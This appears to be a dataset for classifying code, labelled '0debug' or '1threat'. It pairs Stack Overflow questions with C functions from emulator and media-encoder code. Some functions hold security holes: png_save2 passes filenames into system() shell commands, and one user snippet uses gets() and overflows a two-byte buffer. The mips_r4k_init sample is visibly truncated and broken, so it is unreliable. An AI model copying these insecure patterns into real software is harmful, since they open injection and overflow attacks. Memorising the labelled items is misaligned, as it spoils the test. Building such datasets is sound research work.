problem
stringlengths
26
131k
labels
class label
2 classes
How to change default color of points in ggplot2 conditional aes? : <p>I want to change the default colors (currently blue and red) of the points in ggplot2 to another color set.</p> <pre><code>ggplot(data = mpg) + geom_point(mapping = aes(x = displ, y = hwy, color=displ&lt;5)) </code></pre> <p><a href="https://i.stack.imgur.com/tbEcW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tbEcW.png" alt="enter image description here"></a></p>
0debug
Make a horizontal scroll menu in Javascript : <p>I want to create a horizontal scrolling menu like Pinterest:</p> <p><a href="https://i.stack.imgur.com/65YXe.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/65YXe.png" alt="enter image description here"></a></p> <p>I don't want to use Bootstrap or react, I just want to use HTML, CSS and Javascript.</p> <p>How can I do it?</p>
0debug
static void external_snapshot_prepare(BlkActionState *common, Error **errp) { int flags = 0; QDict *options = NULL; Error *local_err = NULL; const char *device; const char *node_name; const char *snapshot_ref; const char *new_image_file; ExternalSnapshotState *state = DO_UPCAST(ExternalSnapshotState, common, common); TransactionAction *action = common->action; switch (action->type) { case TRANSACTION_ACTION_KIND_BLOCKDEV_SNAPSHOT: { BlockdevSnapshot *s = action->u.blockdev_snapshot.data; device = s->node; node_name = s->node; new_image_file = NULL; snapshot_ref = s->overlay; } break; case TRANSACTION_ACTION_KIND_BLOCKDEV_SNAPSHOT_SYNC: { BlockdevSnapshotSync *s = action->u.blockdev_snapshot_sync.data; device = s->has_device ? s->device : NULL; node_name = s->has_node_name ? s->node_name : NULL; new_image_file = s->snapshot_file; snapshot_ref = NULL; } break; default: g_assert_not_reached(); } if (action_check_completion_mode(common, errp) < 0) { return; } state->old_bs = bdrv_lookup_bs(device, node_name, errp); if (!state->old_bs) { return; } state->aio_context = bdrv_get_aio_context(state->old_bs); aio_context_acquire(state->aio_context); bdrv_drained_begin(state->old_bs); if (!bdrv_is_inserted(state->old_bs)) { error_setg(errp, QERR_DEVICE_HAS_NO_MEDIUM, device); return; } if (bdrv_op_is_blocked(state->old_bs, BLOCK_OP_TYPE_EXTERNAL_SNAPSHOT, errp)) { return; } if (!bdrv_is_read_only(state->old_bs)) { if (bdrv_flush(state->old_bs)) { error_setg(errp, QERR_IO_ERROR); return; } } if (!bdrv_is_first_non_filter(state->old_bs)) { error_setg(errp, QERR_FEATURE_DISABLED, "snapshot"); return; } if (action->type == TRANSACTION_ACTION_KIND_BLOCKDEV_SNAPSHOT_SYNC) { BlockdevSnapshotSync *s = action->u.blockdev_snapshot_sync.data; const char *format = s->has_format ? s->format : "qcow2"; enum NewImageMode mode; const char *snapshot_node_name = s->has_snapshot_node_name ? s->snapshot_node_name : NULL; if (node_name && !snapshot_node_name) { error_setg(errp, "New snapshot node name missing"); return; } if (snapshot_node_name && bdrv_lookup_bs(snapshot_node_name, snapshot_node_name, NULL)) { error_setg(errp, "New snapshot node name already in use"); return; } flags = state->old_bs->open_flags; flags &= ~(BDRV_O_SNAPSHOT | BDRV_O_NO_BACKING | BDRV_O_COPY_ON_READ); mode = s->has_mode ? s->mode : NEW_IMAGE_MODE_ABSOLUTE_PATHS; if (mode != NEW_IMAGE_MODE_EXISTING) { int64_t size = bdrv_getlength(state->old_bs); if (size < 0) { error_setg_errno(errp, -size, "bdrv_getlength failed"); return; } bdrv_img_create(new_image_file, format, state->old_bs->filename, state->old_bs->drv->format_name, NULL, size, flags, false, &local_err); if (local_err) { error_propagate(errp, local_err); return; } } options = qdict_new(); if (s->has_snapshot_node_name) { qdict_put_str(options, "node-name", snapshot_node_name); } qdict_put_str(options, "driver", format); flags |= BDRV_O_NO_BACKING; } state->new_bs = bdrv_open(new_image_file, snapshot_ref, options, flags, errp); if (!state->new_bs) { return; } if (bdrv_has_blk(state->new_bs)) { error_setg(errp, "The snapshot is already in use"); return; } if (bdrv_op_is_blocked(state->new_bs, BLOCK_OP_TYPE_EXTERNAL_SNAPSHOT, errp)) { return; } if (state->new_bs->backing != NULL) { error_setg(errp, "The snapshot already has a backing image"); return; } if (!state->new_bs->drv->supports_backing) { error_setg(errp, "The snapshot does not support backing images"); return; } bdrv_set_aio_context(state->new_bs, state->aio_context); bdrv_ref(state->new_bs); bdrv_append(state->new_bs, state->old_bs, &local_err); if (local_err) { error_propagate(errp, local_err); return; } state->overlay_appended = true; }
1threat
C# Error CS0019, Operator '*' cannot be applied to operands of type 'double[]' and 'double' : <p>I have tried working on a vector addition code in C#, and part of it involves using math to determine X and Y values for a vector, and for some reason it gives me the error saying I cannot multiply an array value with a double precision floating point value. I have tried converting, but that has only created more errors. Here is my code: </p> <pre><code>using System; using System.Windows.Forms; namespace VectorAddEdit { public partial class Form1 : Form { double[] mag = new double[5]; double[] ang = new double[5]; int cnt = 0; public Form1() { InitializeComponent(); } private void textBox1_TextChanged(object sender, EventArgs e) { } private void textBox2_TextChanged(object sender, EventArgs e) { } private void textBox4_TextChanged(object sender, EventArgs e) { } private void textBox5_TextChanged(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { while (cnt &lt; 5) { if (textBox1.Text == "" || textBox2.Text == "") { MessageBox.Show("You did not enter data into the correct boxes!"); System.Threading.Thread.Sleep(1000); Application.Exit(); } mag[cnt] = Convert.ToDouble(textBox1.Text); ang[cnt] = Convert.ToDouble(textBox2.Text); Console.ReadLine(); cnt++; } } private void button2_Click(object sender, EventArgs e) { double xsummag = 0; double ysummag = 0; double resultmag; double resultang; for (int i = 0; i &lt; cnt; i++) { xsummag = mag * Math.Cos(ang * Math.PI / 180) + xsummag; ysummag = mag * Math.Sin(ang * Math.PI / 180) + ysummag; } resultmag = Math.Sqrt(Math.Pow(xsummag, 2) + Math.Pow(ysummag, 2)); resultang = Math.Atan(ysummag / xsummag) * 180 / Math.PI; if (xsummag &lt; 0 &amp;&amp; ysummag &gt; 0) resultang = resultang + 180; else if (xsummag &lt; 0 &amp;&amp; ysummag &lt; 0) resultang = resultang + 180; else if (xsummag &gt; 0 &amp;&amp; ysummag &lt; 0) resultang = resultang + 360; textBox4.Text = resultmag.ToString(); textBox5.Text = resultang.ToString(); } private void button3_Click(object sender, EventArgs e) { System.Media.SoundPlayer player = new System.Media.SoundPlayer(@"C:\Windows\Media\Alarm09.wav"); player.Play(); Application.DoEvents(); System.Threading.Thread.Sleep(1000); Application.Exit(); } } } </code></pre> <p>The error occurs on 2 lines where xsummag and ysummag are assigned. If anyone can help me resolve this error, I would greatly appreciate it. :)</p>
0debug
Block ads with HTML/JS? : Thank you for reading. I don't know where this belongs so please don't downvote it, if you can help, it would be greatly appreciated. I have a site ([forum.tdp4teambattle.com][1]) and recently, i started getting ads in the footer. I looked in the footer and there is no code for the ad. I'm thinking they put it in another file and specified it to a certain div ID. What code in HTML or JavaScript can i use to hide the ad so others don't see it? Here is the ad image: http://is.mixmarket.biz/images/um/95480.gif it is 468x60 (maybe you guys can give me a code to block images of that specific size from showing up) Thank you very much! [1]: http://forum.tdp4teambattle.com
0debug
Need to break transpose at specific rows depending on the cell content. How? : So I am working on this excel/spreadsheet project where I have to achieve: **FROM: (assuming that Fruit is in cell A1)** [I have this][1] TO: (Assuming that Fruit Summary is in Cell I1) [I want to achieve this][2] Banging my head over this for days. Please help! [1]: https://i.stack.imgur.com/jP6oH.png [2]: https://i.stack.imgur.com/BMezv.png
0debug
How do you redirect input as out put with ReadLine and WriteLine? (Noob) : <p>i am trying to create a small game but i want the user to input his name so the game is a bit more realistic! how???? i am trying to make it so if you enter 3 (case 3) the application just closes! This is the code!</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Threading; namespace Game { class Program { static void Main(string[] args) { Console.WriteLine("Does anyone copy?"); // Thread.Sleep(3000); Console.WriteLine("Is there anybody listening?"); // Thread.Sleep(3000); Console.WriteLine("Please i need help!!!"); //Thread.Sleep(3000); Console.WriteLine("1. Who is this?"); Console.WriteLine("2. Yes i copy!"); Console.WriteLine("3. Ignore the message!"); String choice = Console.ReadLine(); switch (choice) { case "1": //Thread.Sleep(2000); Console.WriteLine("I'm Emma!"); //Thread.Sleep(6000); Console.WriteLine("Oh my God i tought nobody was going to answer!"); //Thread.Sleep(2000); Console.WriteLine("Who are you?"); break; case "2": //Thread.Sleep(6000); Console.WriteLine("Oh my God i tought nobody was going to answer!"); //Thread.Sleep(2000); Console.WriteLine("I'm Emma by the way!"); //Thread.Sleep(2000); Console.WriteLine("Who are you?"); break; case "3": break; } Console.ReadLine(); string yourName; yourName = Console.ReadLine(); //Thread.Sleep(10000); Console.WriteLine("Hey {0}... Sorry i got you so worried... i was just scared someone was in my room!" yourName ); //Thread.Sleep(20000); } } </code></pre> <p>}</p>
0debug
Informing Haskell that `(Reverse (Reverse xs)) ~ xs` : <p>If <code>Reverse :: [k] -&gt; [k]</code> is a type family then Haskell cannot tell that <code>(Reverse (Reverse xs)) ~ xs</code>. Is there a way to let the type system know this without any runtime cost?</p> <p>I'm tempted to just use <code>unsafeCoerce</code>, but that seems a shame.</p>
0debug
void mips_r4k_init (ram_addr_t ram_size, int vga_ram_size, const char *boot_device, const char *kernel_filename, const char *kernel_cmdline, const char *initrd_filename, const char *cpu_model) { char buf[1024]; unsigned long bios_offset; int bios_size; CPUState *env; RTCState *rtc_state; int i; qemu_irq *i8259; int index; BlockDriverState *hd[MAX_IDE_BUS * MAX_IDE_DEVS]; if (cpu_model == NULL) { #ifdef TARGET_MIPS64 cpu_model = "R4000"; #else cpu_model = "24Kf"; #endif env = cpu_init(cpu_model); if (!env) { fprintf(stderr, "Unable to find CPU definition\n"); qemu_register_reset(main_cpu_reset, env); cpu_register_physical_memory(0, ram_size, IO_MEM_RAM); if (!mips_qemu_iomemtype) { mips_qemu_iomemtype = cpu_register_io_memory(0, mips_qemu_read, mips_qemu_write, NULL); cpu_register_physical_memory(0x1fbf0000, 0x10000, mips_qemu_iomemtype); bios_offset = ram_size + vga_ram_size; if (bios_name == NULL) bios_name = BIOS_FILENAME; snprintf(buf, sizeof(buf), "%s/%s", bios_dir, bios_name); bios_size = load_image(buf, phys_ram_base + bios_offset); if ((bios_size > 0) && (bios_size <= BIOS_SIZE)) { cpu_register_physical_memory(0x1fc00000, BIOS_SIZE, bios_offset | IO_MEM_ROM); } else if ((index = drive_get_index(IF_PFLASH, 0, 0)) > -1) { uint32_t mips_rom = 0x00400000; cpu_register_physical_memory(0x1fc00000, mips_rom, qemu_ram_alloc(mips_rom) | IO_MEM_ROM); if (!pflash_cfi01_register(0x1fc00000, qemu_ram_alloc(mips_rom), drives_table[index].bdrv, sector_len, mips_rom / sector_len, 4, 0, 0, 0, 0)) { fprintf(stderr, "qemu: Error registering flash memory.\n"); else { fprintf(stderr, "qemu: Warning, could not load MIPS bios '%s'\n", buf); if (kernel_filename) { loaderparams.ram_size = ram_size; loaderparams.kernel_filename = kernel_filename; loaderparams.kernel_cmdline = kernel_cmdline; loaderparams.initrd_filename = initrd_filename; load_kernel (env); cpu_mips_irq_init_cpu(env); cpu_mips_clock_init(env); i8259 = i8259_init(env->irq[2]); rtc_state = rtc_init(0x70, i8259[8]); isa_mmio_init(0x14000000, 0x00010000); isa_mem_base = 0x10000000; pit = pit_init(0x40, i8259[0]); for(i = 0; i < MAX_SERIAL_PORTS; i++) { if (serial_hds[i]) { serial_init(serial_io[i], i8259[serial_irq[i]], 115200, serial_hds[i]); isa_vga_init(phys_ram_base + ram_size, ram_size, vga_ram_size); if (nd_table[0].vlan) isa_ne2000_init(0x300, i8259[9], &nd_table[0]); if (drive_get_max_bus(IF_IDE) >= MAX_IDE_BUS) { fprintf(stderr, "qemu: too many IDE bus\n"); for(i = 0; i < MAX_IDE_BUS * MAX_IDE_DEVS; i++) { index = drive_get_index(IF_IDE, i / MAX_IDE_DEVS, i % MAX_IDE_DEVS); if (index != -1) hd[i] = drives_table[index].bdrv; else hd[i] = NULL; for(i = 0; i < MAX_IDE_BUS; i++) isa_ide_init(ide_iobase[i], ide_iobase2[i], i8259[ide_irq[i]], hd[MAX_IDE_DEVS * i], hd[MAX_IDE_DEVS * i + 1]); i8042_init(i8259[1], i8259[12], 0x60);
1threat
How to Send Loop value to another page? : <p>I try to send loop variable to another page with url and GET. but $_GET just only print the last value.</p> <p>This My code now</p> <pre><code> ... //example $codereg[0] = 6; $codereg[1] = 2; $codereg[2] = 67; if ($option =='sent') { foreach($codereg as $ids) { header("location:checkout.php?id=$userId&amp;productIds[]=$ids"); } } </code></pre> <p>and this my checkout.php</p> <pre><code> &lt;?php $userId= $_GET['id']; $code= $_GET['productIds']; foreach($code as $test) { echo $test; } ?&gt; </code></pre> <p>some one help me fix my code or give better solution...</p>
0debug
firebase cloud messaging: setBackgroundMessageHandler not called : <p>I am prototyping browser push notifications with FCM. I just copied the example code from the quickstart (<a href="https://github.com/firebase/quickstart-js/tree/master/messaging" rel="noreferrer">https://github.com/firebase/quickstart-js/tree/master/messaging</a>). Messages are recieved and displayed as they should be. But when I try to modify the message in the Service Worker (messaging.setBackgroundMessageHandler) nothing happens. The service worker is called, and if I implement an event listener in that service worker for the push notifications, it catches the event. But the method setBackgroundMessageHandler is never called. I am trying this on Chrome 54.</p> <p>Any ideas what I need to do to customize the message in the service worker?</p> <p>Thank you very much!</p>
0debug
static int nbd_co_receive_request(NBDRequestData *req, NBDRequest *request, Error **errp) { NBDClient *client = req->client; g_assert(qemu_in_coroutine()); assert(client->recv_coroutine == qemu_coroutine_self()); if (nbd_receive_request(client->ioc, request, errp) < 0) { return -EIO; } trace_nbd_co_receive_request_decode_type(request->handle, request->type); if (request->type != NBD_CMD_WRITE) { req->complete = true; } if (request->type == NBD_CMD_DISC) { return -EIO; } if ((request->from + request->len) < request->from) { error_setg(errp, "integer overflow detected, you're probably being attacked"); return -EINVAL; } if (request->type == NBD_CMD_READ || request->type == NBD_CMD_WRITE) { if (request->len > NBD_MAX_BUFFER_SIZE) { error_setg(errp, "len (%" PRIu32" ) is larger than max len (%u)", request->len, NBD_MAX_BUFFER_SIZE); return -EINVAL; } req->data = blk_try_blockalign(client->exp->blk, request->len); if (req->data == NULL) { error_setg(errp, "No memory"); return -ENOMEM; } } if (request->type == NBD_CMD_WRITE) { if (nbd_read(client->ioc, req->data, request->len, errp) < 0) { error_prepend(errp, "reading from socket failed: "); return -EIO; } req->complete = true; trace_nbd_co_receive_request_payload_received(request->handle, request->len); } if (request->from + request->len > client->exp->size) { error_setg(errp, "operation past EOF; From: %" PRIu64 ", Len: %" PRIu32 ", Size: %" PRIu64, request->from, request->len, (uint64_t)client->exp->size); return request->type == NBD_CMD_WRITE ? -ENOSPC : -EINVAL; } if (request->flags & ~(NBD_CMD_FLAG_FUA | NBD_CMD_FLAG_NO_HOLE)) { error_setg(errp, "unsupported flags (got 0x%x)", request->flags); return -EINVAL; } if (request->type != NBD_CMD_WRITE_ZEROES && (request->flags & NBD_CMD_FLAG_NO_HOLE)) { error_setg(errp, "unexpected flags (got 0x%x)", request->flags); return -EINVAL; } return 0; }
1threat
Convert HTML Table to CSS : I am attempting to convert this table layout to it's CSS equivalent using divs. <table class="ourwork-table" cellpadding="0" cellspacing="0"> <tr> <td><a href="http://www.google.com"><img src="http://cdn.sixrevisions.com/0476-01-responsive-images-demo/images/image01.jpg" /></a></td> <td><a href="http://www.google.com"><img src="http://cdn.sixrevisions.com/0476-01-responsive-images-demo/images/image01.jpg" /></a></td> <td><a href="http://www.google.com"><img src="http://cdn.sixrevisions.com/0476-01-responsive-images-demo/images/image01.jpg" /></a></td> </tr> <tr> <td><a href="http://www.google.com"><img src="http://cdn.sixrevisions.com/0476-01-responsive-images-demo/images/image01.jpg" /></a></td> <td><a href="http://www.google.com"><img src="http://cdn.sixrevisions.com/0476-01-responsive-images-demo/images/image01.jpg" /></a></td> <td><a href="http://www.google.com"><img src="http://cdn.sixrevisions.com/0476-01-responsive-images-demo/images/image01.jpg" /></a></td> </tr> </table> Style for the table: .ourwork-table { width:100%; } .ourwork-table img { width: 100%; display:block; } Thanks
0debug
Way to print dictionary as a list : <p>So I have a dictionary which is like - </p> <pre><code> {'gaining': 34, 'Tinga': 42, 'small': 39, 'legs,': 13,}. </code></pre> <p>Is there a way in which i can print it out so that it becomes a list like - </p> <pre><code> [ gaining, Tinga, small, legs ] </code></pre> <p>So that only the keys are printed and not the values that go along it. Also is there a way to make the dictionary not work in arbitrary order - such that if two keys are repeated instead of giving it the value of the last one, we give it the value of the first one? </p> <p>eg; </p> <pre><code> {'gaining' : 34, 'Tinga' : 42, 'small : 39, 'legs,' : 13 'gaining' : 20} </code></pre> <p>When printed </p> <pre><code> print dict['gaining'] </code></pre> <p>The output comes as </p> <pre><code> 34 </code></pre> <p>instead of coming as </p> <pre><code> 20 </code></pre>
0debug
How can i #download #reactjs in to #windows : How can i #download reactjs in to #windows ? I tried this link facebook.github.io/react/downloads.html but couldn't find the starter kit download option. I am new to reactjs, just trying to learn, so can anyone help.
0debug
static int vaapi_encode_issue(AVCodecContext *avctx, VAAPIEncodePicture *pic) { VAAPIEncodeContext *ctx = avctx->priv_data; VAAPIEncodeSlice *slice; VAStatus vas; int err, i; char data[MAX_PARAM_BUFFER_SIZE]; size_t bit_len; av_log(avctx, AV_LOG_DEBUG, "Issuing encode for pic %"PRId64"/%"PRId64" " "as type %s.\n", pic->display_order, pic->encode_order, picture_type_name[pic->type]); if (pic->nb_refs == 0) { av_log(avctx, AV_LOG_DEBUG, "No reference pictures.\n"); } else { av_log(avctx, AV_LOG_DEBUG, "Refers to:"); for (i = 0; i < pic->nb_refs; i++) { av_log(avctx, AV_LOG_DEBUG, " %"PRId64"/%"PRId64, pic->refs[i]->display_order, pic->refs[i]->encode_order); } av_log(avctx, AV_LOG_DEBUG, ".\n"); } av_assert0(pic->input_available && !pic->encode_issued); for (i = 0; i < pic->nb_refs; i++) { av_assert0(pic->refs[i]); if (ctx->issue_mode == ISSUE_MODE_SERIALISE_EVERYTHING) av_assert0(pic->refs[i]->encode_complete); else av_assert0(pic->refs[i]->encode_issued); } av_log(avctx, AV_LOG_DEBUG, "Input surface is %#x.\n", pic->input_surface); pic->recon_image = av_frame_alloc(); if (!pic->recon_image) { err = AVERROR(ENOMEM); goto fail; } err = av_hwframe_get_buffer(ctx->recon_frames_ref, pic->recon_image, 0); if (err < 0) { err = AVERROR(ENOMEM); goto fail; } pic->recon_surface = (VASurfaceID)(uintptr_t)pic->recon_image->data[3]; av_log(avctx, AV_LOG_DEBUG, "Recon surface is %#x.\n", pic->recon_surface); pic->output_buffer_ref = av_buffer_pool_get(ctx->output_buffer_pool); if (!pic->output_buffer_ref) { err = AVERROR(ENOMEM); goto fail; } pic->output_buffer = (VABufferID)(uintptr_t)pic->output_buffer_ref->data; av_log(avctx, AV_LOG_DEBUG, "Output buffer is %#x.\n", pic->output_buffer); if (ctx->codec->picture_params_size > 0) { pic->codec_picture_params = av_malloc(ctx->codec->picture_params_size); if (!pic->codec_picture_params) goto fail; memcpy(pic->codec_picture_params, ctx->codec_picture_params, ctx->codec->picture_params_size); } else { av_assert0(!ctx->codec_picture_params); } pic->nb_param_buffers = 0; if (pic->encode_order == 0) { for (i = 0; i < ctx->nb_global_params; i++) { err = vaapi_encode_make_param_buffer(avctx, pic, VAEncMiscParameterBufferType, (char*)ctx->global_params[i], ctx->global_params_size[i]); if (err < 0) goto fail; } } if (pic->type == PICTURE_TYPE_IDR && ctx->codec->init_sequence_params) { err = vaapi_encode_make_param_buffer(avctx, pic, VAEncSequenceParameterBufferType, ctx->codec_sequence_params, ctx->codec->sequence_params_size); if (err < 0) goto fail; } if (ctx->codec->init_picture_params) { err = ctx->codec->init_picture_params(avctx, pic); if (err < 0) { av_log(avctx, AV_LOG_ERROR, "Failed to initialise picture " "parameters: %d.\n", err); goto fail; } err = vaapi_encode_make_param_buffer(avctx, pic, VAEncPictureParameterBufferType, pic->codec_picture_params, ctx->codec->picture_params_size); if (err < 0) goto fail; } if (pic->type == PICTURE_TYPE_IDR) { if (ctx->codec->write_sequence_header) { bit_len = 8 * sizeof(data); err = ctx->codec->write_sequence_header(avctx, data, &bit_len); if (err < 0) { av_log(avctx, AV_LOG_ERROR, "Failed to write per-sequence " "header: %d.\n", err); goto fail; } err = vaapi_encode_make_packed_header(avctx, pic, ctx->codec->sequence_header_type, data, bit_len); if (err < 0) goto fail; } } if (ctx->codec->write_picture_header) { bit_len = 8 * sizeof(data); err = ctx->codec->write_picture_header(avctx, pic, data, &bit_len); if (err < 0) { av_log(avctx, AV_LOG_ERROR, "Failed to write per-picture " "header: %d.\n", err); goto fail; } err = vaapi_encode_make_packed_header(avctx, pic, ctx->codec->picture_header_type, data, bit_len); if (err < 0) goto fail; } if (ctx->codec->write_extra_buffer) { for (i = 0;; i++) { size_t len = sizeof(data); int type; err = ctx->codec->write_extra_buffer(avctx, pic, i, &type, data, &len); if (err == AVERROR_EOF) break; if (err < 0) { av_log(avctx, AV_LOG_ERROR, "Failed to write extra " "buffer %d: %d.\n", i, err); goto fail; } err = vaapi_encode_make_param_buffer(avctx, pic, type, data, len); if (err < 0) goto fail; } } if (ctx->codec->write_extra_header) { for (i = 0;; i++) { int type; bit_len = 8 * sizeof(data); err = ctx->codec->write_extra_header(avctx, pic, i, &type, data, &bit_len); if (err == AVERROR_EOF) break; if (err < 0) { av_log(avctx, AV_LOG_ERROR, "Failed to write extra " "header %d: %d.\n", i, err); goto fail; } err = vaapi_encode_make_packed_header(avctx, pic, type, data, bit_len); if (err < 0) goto fail; } } av_assert0(pic->nb_slices <= MAX_PICTURE_SLICES); for (i = 0; i < pic->nb_slices; i++) { slice = av_mallocz(sizeof(*slice)); if (!slice) { err = AVERROR(ENOMEM); goto fail; } pic->slices[i] = slice; if (ctx->codec->slice_params_size > 0) { slice->codec_slice_params = av_mallocz(ctx->codec->slice_params_size); if (!slice->codec_slice_params) { err = AVERROR(ENOMEM); goto fail; } } if (ctx->codec->init_slice_params) { err = ctx->codec->init_slice_params(avctx, pic, slice); if (err < 0) { av_log(avctx, AV_LOG_ERROR, "Failed to initalise slice " "parameters: %d.\n", err); goto fail; } } if (ctx->codec->write_slice_header) { bit_len = 8 * sizeof(data); err = ctx->codec->write_slice_header(avctx, pic, slice, data, &bit_len); if (err < 0) { av_log(avctx, AV_LOG_ERROR, "Failed to write per-slice " "header: %d.\n", err); goto fail; } err = vaapi_encode_make_packed_header(avctx, pic, ctx->codec->slice_header_type, data, bit_len); if (err < 0) goto fail; } if (ctx->codec->init_slice_params) { err = vaapi_encode_make_param_buffer(avctx, pic, VAEncSliceParameterBufferType, slice->codec_slice_params, ctx->codec->slice_params_size); if (err < 0) goto fail; } } vas = vaBeginPicture(ctx->hwctx->display, ctx->va_context, pic->input_surface); if (vas != VA_STATUS_SUCCESS) { av_log(avctx, AV_LOG_ERROR, "Failed to begin picture encode issue: " "%d (%s).\n", vas, vaErrorStr(vas)); err = AVERROR(EIO); goto fail_with_picture; } vas = vaRenderPicture(ctx->hwctx->display, ctx->va_context, pic->param_buffers, pic->nb_param_buffers); if (vas != VA_STATUS_SUCCESS) { av_log(avctx, AV_LOG_ERROR, "Failed to upload encode parameters: " "%d (%s).\n", vas, vaErrorStr(vas)); err = AVERROR(EIO); goto fail_with_picture; } vas = vaEndPicture(ctx->hwctx->display, ctx->va_context); if (vas != VA_STATUS_SUCCESS) { av_log(avctx, AV_LOG_ERROR, "Failed to end picture encode issue: " "%d (%s).\n", vas, vaErrorStr(vas)); err = AVERROR(EIO); if (ctx->hwctx->driver_quirks & AV_VAAPI_DRIVER_QUIRK_RENDER_PARAM_BUFFERS) goto fail; else goto fail_at_end; } if (ctx->hwctx->driver_quirks & AV_VAAPI_DRIVER_QUIRK_RENDER_PARAM_BUFFERS) { for (i = 0; i < pic->nb_param_buffers; i++) { vas = vaDestroyBuffer(ctx->hwctx->display, pic->param_buffers[i]); if (vas != VA_STATUS_SUCCESS) { av_log(avctx, AV_LOG_ERROR, "Failed to destroy " "param buffer %#x: %d (%s).\n", pic->param_buffers[i], vas, vaErrorStr(vas)); } } } pic->encode_issued = 1; if (ctx->issue_mode == ISSUE_MODE_SERIALISE_EVERYTHING) return vaapi_encode_wait(avctx, pic); else return 0; fail_with_picture: vaEndPicture(ctx->hwctx->display, ctx->va_context); fail: for(i = 0; i < pic->nb_param_buffers; i++) vaDestroyBuffer(ctx->hwctx->display, pic->param_buffers[i]); fail_at_end: av_freep(&pic->codec_picture_params); av_frame_free(&pic->recon_image); return err; }
1threat
static void png_save2(const char *filename, uint32_t *bitmap, int w, int h) { int x, y, v; FILE *f; char fname[40], fname2[40]; char command[1024]; snprintf(fname, 40, "%s.ppm", filename); f = fopen(fname, "w"); if (!f) { perror(fname); exit(1); } fprintf(f, "P6\n" "%d %d\n" "%d\n", w, h, 255); for(y = 0; y < h; y++) { for(x = 0; x < w; x++) { v = bitmap[y * w + x]; putc((v >> 16) & 0xff, f); putc((v >> 8) & 0xff, f); putc((v >> 0) & 0xff, f); } } fclose(f); snprintf(fname2, 40, "%s-a.pgm", filename); f = fopen(fname2, "w"); if (!f) { perror(fname2); exit(1); } fprintf(f, "P5\n" "%d %d\n" "%d\n", w, h, 255); for(y = 0; y < h; y++) { for(x = 0; x < w; x++) { v = bitmap[y * w + x]; putc((v >> 24) & 0xff, f); } } fclose(f); snprintf(command, 1024, "pnmtopng -alpha %s %s > %s.png 2> /dev/null", fname2, fname, filename); system(command); snprintf(command, 1024, "rm %s %s", fname, fname2); system(command); }
1threat
static void bt_hci_inquiry_result(struct bt_hci_s *hci, struct bt_device_s *slave) { if (!slave->inquiry_scan || !hci->lm.responses_left) return; hci->lm.responses_left --; hci->lm.responses ++; switch (hci->lm.inquiry_mode) { case 0x00: bt_hci_inquiry_result_standard(hci, slave); return; case 0x01: bt_hci_inquiry_result_with_rssi(hci, slave); return; default: fprintf(stderr, "%s: bad inquiry mode %02x\n", __FUNCTION__, hci->lm.inquiry_mode); exit(-1); } }
1threat
Visual Studio Code - automatic closing HTML tags : <p>I am working with Visual Studio Code and I am looking for an extension to close automatically the HTML tags. I know that Sublime has this feature but I was wondering if it is possible in VSC. Thank you!</p>
0debug
Cannot convert a date like yyyymmddThhmmss0+0000 : <p>I am getting data from a webservice but they send date with this format "yyyymmddThhmmss0+0000" and when i try to create a new DateTime from this format i get this error "DateTime::__construct(): Failed to parse time string ..."</p> <ul> <li>example: "20161122T1030090+0000"</li> </ul> <p>Does anyone have a idea of what kind of format is that, and how to instanciate a dateTime from it ?</p> <p>Thank you.</p>
0debug
Debug assertion failed C : I'm writing a program that allows users to add a question that has 4 answers, right answer, date, author and level of complexity, also the program has functions for reading all the questions and deleting a question. When I choose the option add a question and i insert all of the characteristics the message box for the error appears it also doesn't allow me to delete or see the `. questions. i need help void edit() { char filename[2]; int y; int q,ft,s,t, fr,d,a,l,tr,n,da; FILE *f, *f1; f=fopen("pff.txt","r"); if (f==NULL) { perror ("Error!"); } fscanf(f,"%d",&y); printf(" " ); gets(question.name); n=sizeof(question.name); printf("Name : "); gets(question.name); q=sizeof(question.name); printf("Answer 1: "); gets(question.first); ft=sizeof(question.first); printf("Answer 2: "); gets(question.second); s=sizeof(question.second); printf("Answer 3: "); gets(question.third); t=sizeof(question.third); printf("Answer 4: "); gets(question.fourth); fr=sizeof(question.fourth); printf("Right answer (1-4): "); scanf("%d",&question.tr); printf(" "); gets(question.date); da=sizeof(question.date); printf("Date: "); gets(question.date); d=sizeof(question.date); printf(" Author: "); gets(question.author); t=sizeof(question.author); printf("Level (0-2): "); scanf("%d",&question.level); fclose (f); sprintf(filename, "%d.bin", y+1); puts (filename); f=fopen(filename,"wb"); fwrite(&q,sizeof(int),1,f); fwrite(question.name,sizeof(question.name),1,f); fwrite(&ft,sizeof(int),1,f); fwrite(question.first,sizeof(question.first),1,f); fwrite(&s,sizeof(int),1,f); fwrite(question.second,sizeof(question.second),1,f); fwrite(&t,sizeof(int),1,f); fwrite(question.third,sizeof(question.third),1,f); fwrite(&fr,sizeof(int),1,f); fwrite(question.fourth,sizeof(question.fourth),1,f); fwrite (&question.tr, sizeof (int),1,f); fwrite(&d,sizeof(int),1,f); fwrite(question.date, sizeof(question.date),1,f); fwrite(&a,sizeof(int),1,f); fwrite(question.author,sizeof(question.author),1,f); fwrite(question.level,sizeof(int),1,f); fclose(f); f=fopen("pff.txt","w"); fprintf(f,"%d",y+1); fclose(f); }
0debug
Way to create only one reference for all my js files in my html page : <p>I have a lot of js files in my View(html page),and I wonder if there is a way to combine all my js reference to one ref . </p>
0debug
cleaning/parsing JSON with python : Can anyone help to clean below JSON "1-Transaction Transfer Info Segment-F2":{"Selling Store Number":"01818","Transaction Date":"2014-09-08","Transaction Time":"05:45:49","Transaction Service Type":"I","IP Time Id":"118180546186"} I want to clean this json as below 1-Transaction Transfer Info Segment-F2 =>1_Transaction_Transfer_Info_Segment_F2 Selling Store Number => Selling_Store_Number,Transaction Service Type => Transaction_Servic_Type,IP Time Id => IP_Time_Id
0debug
